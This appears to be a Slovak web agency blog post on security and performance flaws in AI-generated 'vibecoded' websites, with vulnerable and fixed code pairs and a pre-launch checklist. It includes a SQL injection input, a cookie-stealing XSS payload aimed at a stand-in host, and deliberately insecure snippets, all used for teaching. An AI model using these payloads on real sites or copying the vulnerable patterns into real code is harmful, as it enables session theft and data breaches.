Vibecoding a riziká webu

AI vie web napísať za hodiny. Problém nie je AI, ale to, čo v kóde zostane bez testov, code review a bezpečnostnej kontroly — SQL injection, XSS, chýbajúca autorizácia či hardkódované kľúče. Na príkladoch, čoho sa vyvarovať.

Simona · 11 min čítania
Zálohy dokončené, 24 webov záloha WordPress 6.9.2 nasadený na testovacej kópii aktualizácia Certifikát obnovený, platný 90 dní certifikát Pomalá odozva 1,9 s, vyriešená do 12 minút incident Bezpečnostný sken: 0 kritických nálezov sken Rýchlosť webu v zelenom po zmenšení obrázkov rýchlosť Blokovaných 214 pokusov o prihlásenie ochrana

Perex: AI dokáže dnes za jedno popoludnie postaviť web, ktorý vyzerá hotový. Vyzerá — to je to kľúčové slovo. Keď kód nikto neprešiel testami, code review a bezpečnostnou kontrolou, chyby v ňom nezmiznú, len sa skryjú za pekné demo. Prejdeme si, aké chyby v „vibecoded” weboch reálne zostávajú, prečo prejdú a ako ich odchytiť skôr, než ich nájde niekto iný.

Čo je vibecoding a prečo je taký lákavý

Pojem „vibecoding” označuje spôsob tvorby softvéru, pri ktorom človek popíše AI, čo chce, dostane kód a ten nasadí — bez toho, aby do hĺbky rozumel, čo kód robí. Rozhoduje pocit: funguje to, klikol som a načítalo sa, ideme ďalej. Nie je to preklep ani nadávka, je to reálny pracovný postup, ktorý má svoje miesto — pri prototype, pri internom nástroji, pri overovaní nápadu.

Lákadlo je zrejmé. Web alebo appka za zlomok času a ceny. Namiesto týždňov práce vývojára zopár hodín promptovania. Pre majiteľa firmy alebo startupistu, ktorý potrebuje niečo ukázať investorovi alebo prvým zákazníkom, to znie ako výhra.

Problém nie je AI. AI je výborný nástroj a v PROSIMSI ho denne používame. Problém je, keď sa vynechá všetko, čo z vygenerovaného kódu robí produkčný kód: testovanie, revízia druhým človekom, bezpečnostná kontrola, kontrola závislostí. Bez nich dostanete niečo, čo vyzerá hotovo a chová sa nebezpečne.

A nejde o dojem. Stanford a NYU testovali AI asistenta na 89 scenároch a 40 % výstupov obsahovalo bezpečnostné zraniteľnosti z katalógu známych chýb CWE. Veracode testoval viac modelov naprieč jazykmi a 45 % kódu neprešlo bezpečnostnými testami, pri cross-site scriptingu bola miera zlyhania až 86 %. To nie sú okrajové prípady — to je bežný výstup, ak ho nikto neskontroluje.

Chyby, ktoré typicky prejdú

1. SQL injection — neescapovaný vstup do databázy

Klasika, ktorá nevymizla ani po dvadsiatich rokoch. AI často poskladá dotaz spájaním reťazcov, lebo to je najkratšia cesta k „funguje to”.

// ZRANITEĽNÉ — vstup od používateľa ide priamo do dotazu
$email = $_GET['email'];
$sql = "SELECT * FROM users WHERE email = '$email'";
$result = $db->query($sql);

Stačí zadať ' OR '1'='1 a útočník obíde podmienku. Pri troche snahy vytiahne celú tabuľku používateľov aj s heslami. Správne riešenie je parametrizovaný dotaz, kde sa dáta nikdy nemiešajú s príkazom:

// BEZPEČNÉ — parametrizovaný dotaz
$stmt = $db->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute([$_GET['email']]);
$result = $stmt->fetch();

2. XSS — neošetrený výstup do HTML

Druhá najčastejšia. Údaj od používateľa sa vypíše do stránky bez ošetrenia a prehliadač ho vykoná ako kód.

// ZRANITEĽNÉ — komentár sa vypíše tak, ako prišiel
echo "<div>" . $_POST['comment'] . "</div>";

Ak niekto pošle ako komentár <script>fetch('https://zly.web/'+document.cookie)</script>, skript sa spustí každému návštevníkovi a ukradne mu reláciu. Riešením je escapovať výstup — v čistom PHP htmlspecialchars, v šablónovacích systémoch to väčšinou robí framework sám, ak to nevypnete:

// BEZPEČNÉ — výstup sa escapuje
echo "<div>" . htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8') . "</div>";

3. Chýbajúca autorizácia — „admin/” v ceste nie je ochrana

AI vygeneruje endpoint, ktorý niečo robí, ale zabudne overiť, či ho smie volať práve tento človek. Cesta /admin/deleteUser znie ochranne, no ak za ňou nie je kontrola, zavolá ju ktokoľvek.

// ZRANITEĽNÉ — endpoint nekontroluje, kto ho volá
app.post('/admin/users/:id/delete', async (req, res) => {
  await db.users.delete(req.params.id);
  res.json({ ok: true });
});

Prefix admin/ v URL je len text. Ochranu musí robiť kód — overenie prihlásenia aj oprávnenia:

// BEZPEČNÉ — overí sa prihlásenie aj rola
app.post('/admin/users/:id/delete', requireAuth, requireRole('admin'), async (req, res) => {
  await db.users.delete(req.params.id);
  res.json({ ok: true });
});

Toto je zradné o to viac, že na deme sa chyba neprejaví — vývojár je prihlásený ako admin, takže mu všetko funguje. Že to funguje aj neprihlásenému, zistí až útočník.

4. Tvrdo zakódované tajomstvá

AI rado vloží API kľúč alebo heslo priamo do kódu, aby ukážka „hneď fungovala”. Keď takýto súbor skončí v gite, kľúč je vonku — a v histórii repozitára zostane, aj keď ho neskôr prepíšete.

// ZLE — kľúč priamo v kóde a v repozitári
const stripe = new Stripe('sk_live_51H8xY2eZvKq...');
// SPRÁVNE — kľúč z prostredia, v repe nie je
const stripe = new Stripe(process.env.STRIPE_SECRET_KEY);

Hardkódované prístupové údaje sa v AI-asistovanom vývoji objavujú približne dvakrát častejšie než pri ručne písanom kóde. Do repozitára patrí len .env.example s prázdnymi hodnotami, nikdy reálny kľúč.

5. Slabá validácia, neošetrené chyby a — halucinované balíky

Vygenerovaný kód často predpokladá ideálny vstup. Chýba kontrola, čo sa stane, keď príde prázdna hodnota, záporné číslo, súbor iného typu, alebo keď externá služba neodpovie. Na deme to nevidno, v reáli to spadne.

Samostatná kapitola sú závislosti. AI občas navrhne balík, ktorý vôbec neexistuje — jednoducho si vymyslí vierohodné meno. Štúdia z konferencie USENIX Security 2025 na 2,23 milióna vzoriek kódu zistila, že 19,7 % odkazovalo aspoň na jeden neexistujúci balík, a 43 % týchto vymyslených mien sa opakovalo pri každom spustení. Útočníci to zneužívajú: pod vymyslené, no predvídateľné meno nahrajú škodlivý balík (technika „slopsquatting”). Keď ho vývojár naslepo nainštaluje, spustí sa cudzí kód — zdokumentovaný prípad kradom prístupové kľúče cez inštalačný skript. Preto sa každý navrhnutý balík overuje: existuje, je to ten správny, má rozumnú históriu a nie je opustený?

6. Výkonové chyby — N+1 dotazy a chýbajúce indexy

Kód môže byť bezpečný a aj tak nepoužiteľný. Typický vzor je N+1: namiesto jedného dotazu sa pošle jeden na zoznam a potom ďalší pre každý riadok.

// POMALÉ — jeden dotaz na objednávky + jeden na zákazníka pri každej
$orders = Order::all();
foreach ($orders as $order) {
    echo $order->customer->name;   // samostatný dotaz v každom kole
}

// RÝCHLE — súvisiace dáta sa načítajú jedným dotazom navyše
$orders = Order::with('customer')->get();
foreach ($orders as $order) {
    echo $order->customer->name;
}

Pri desiatich riadkoch to nikto nezbadá. Pri desaťtisíc to znamená desaťtisíc dotazov na jednu stránku a databáza si ľahne. Podobne sa prehliadne chýbajúci index — vyhľadávanie podľa e-mailu je bleskové na sto záznamoch a katastrofa na miliónoch.

7. Funguje na deme, padne v reáli

Spoločný menovateľ predošlých bodov. Vibecoded riešenie sa optimalizuje na jediný scenár: predvádzačku. Prvý používateľ, malá vzorka dát, „pekná” cesta bez chýb. Realita prináša súčasných používateľov, veľké objemy, neočakávané vstupy a výpadky sietí — presne to, čo demo nikdy netestuje.

Prečo to všetko prejde

Odpoveď je jednoduchá: vynechá sa kontrola, ktorá tieto chyby bežne chytá. Nie preto, že by AI bola zlá, ale preto, že vibecoding často znamená „vygeneruj a nasaď” bez medzikrokov. Čo konkrétne chýba:

  • Automatizované testy — nikto neoverí okrajové vstupy ani to, či oprava jednej veci nerozbila druhú.
  • Code review druhým človekom — chýbajúcu autorizáciu alebo hardkódovaný kľúč odhalí skúsený pohľad za sekundy; autor „na pocit” ich prehliadne.
  • Statická analýza (SAST/linting) — nástroje, ktoré prejdú kód a upozornia na neescapovaný výstup, spájané dotazy či rizikové vzory.
  • Bezpečnostná revízia — cielený pohľad na autentifikáciu, oprávnenia, prácu s tajomstvami a vstupmi.
  • Kontrola závislostí — overenie, že balíky existujú, sú dôveryhodné a bez známych zraniteľností.

Riziko navyše rastie s rozsahom, ktorý AI generuje naraz. Keď dopĺňa jeden riadok, vývojár drží logiku v hlave a vidí zmenu v kontexte. Keď z jedného promptu vypadne celá funkcia či služba, plocha na kontrolu vybuchne a človek ju už len zbežne preletí — alebo vôbec.

Ako to robiť správne: tá istá AI plus disciplína

Riešením nie je vrátiť sa k ručnému písaniu všetkého. Riešením je používať AI ako zrýchľovač pre skúseného vývojára, nie ako náhradu za kontrolu. Ten istý vygenerovaný kód, ktorý „na pocit” nasadíte a modlíte sa, prejde pri disciplinovanom postupe cez sito, ktoré chyby zachytí skôr, než sa dostanú k používateľovi.

V praxi to znamená rovnaký proces ako pri každom inom kóde: k novej funkcii sa píšu testy, každú zmenu pred zlúčením prečíta druhý človek, linter a statická analýza bežia automaticky, bezpečnostná revízia sa robí všade, kde ide o prihlasovanie, platby či dáta klientov, a nové balíky sa preverujú, nie inštalujú naslepo. Toto všetko spája CI pipeline — automatika, ktorá nič nepustí ďalej, kým testy a kontroly neprejdú. AI tak zostáva tým, čím má byť: obrovským urýchlením, ktoré nesie zodpovednosť človeka.

Presne takto pracujeme v PROSIMSI. AI nám šetrí hodiny, no do sveta ide len kód, ktorý prešiel testami, revíziou a bezpečnostnou kontrolou — či ho napísal človek, alebo ho navrhla AI.

Checklist: než pustíš AI web do sveta

  • Tajomstvá: žiadny API kľúč ani heslo v kóde či v gite; všetko z premenných prostredia, v repe len .env.example.
  • Vstupy a databáza: výhradne parametrizované dotazy, žiadne skladanie SQL z reťazcov.
  • Výstupy: všetko, čo pochádza od používateľa, sa pri výpise do HTML escapuje.
  • Autorizácia: každý citlivý endpoint overuje prihlásenie aj oprávnenie; „admin/” v ceste nie je ochrana.
  • Validácia a chyby: ošetrené prázdne, neplatné a okrajové vstupy aj výpadky externých služieb.
  • Závislosti: každý balík reálne existuje, je dôveryhodný a bez známych zraniteľností.
  • Výkon: žiadne N+1 dotazy, indexy na stĺpcoch, podľa ktorých sa vyhľadáva; otestované na reálnom objeme dát.
  • Proces: automatizované testy, code review druhým človekom, linting a statická analýza, security review pri autentifikácii/platbách/dátach, všetko cez CI pipeline.

Ak čo i len jeden bod v zozname nemáte odškrtnutý, web ešte nie je hotový — len tak vyzerá. A ak si nie ste istí, či vaše AI riešenie prešlo týmto sitom, radi ho v PROSIMSI prejdeme a povieme na rovinu, čo v ňom zostalo.

Navrhovaný titulok: Vibecoding: keď web vznikne „na pocit” cez AI — a čo v ňom zostane

Meta popis (do 160 znakov): AI postaví web za popoludnie. Ktoré chyby v ňom zostanú bez testov, code review a bezpečnostnej kontroly? Reálne príklady a checklist pred spustením.

Hlavné kľúčové slovo: vibecoding

Vedľajšie kľúčové slová: chyby v AI kóde, bezpečnosť AI generovaného kódu, SQL injection, XSS, testovanie webu, code review

Zdroje: - Stanford/NYU a Veracode dáta o miere zraniteľností: 40% of AI-Generated Code Has Security Flaws (Medium), Vibe Coding Security Risks: Why 53% of AI Code Has Security Holes (getautonoma) - Hardkódované tajomstvá, XSS, log injection: Security Risks in AI-Generated Code (SoftwareSeni), AI Coding Security Vulnerability Statistics 2026 (SQ Magazine) - Halucinované balíky a slopsquatting (USENIX Security 2025): The hidden poison in AI-generated code (Lothar Schulz), Vibe Coding Security (Cycode) - Kategórie zraniteľností vo vibecoded appkách (SQLi, XSS, broken auth): 9 Real Vulnerabilities in AI-Generated Code (Vidoc Security Lab), Vibe Coding Security (NordLayer) - Rast plochy na kontrolu pri agentnom generovaní: Vibe Coding Real Code, Real Risks (GuidePoint Security)

Pomohol vám článok? Zdieľajte ho ďalej.
LinkedIn Facebook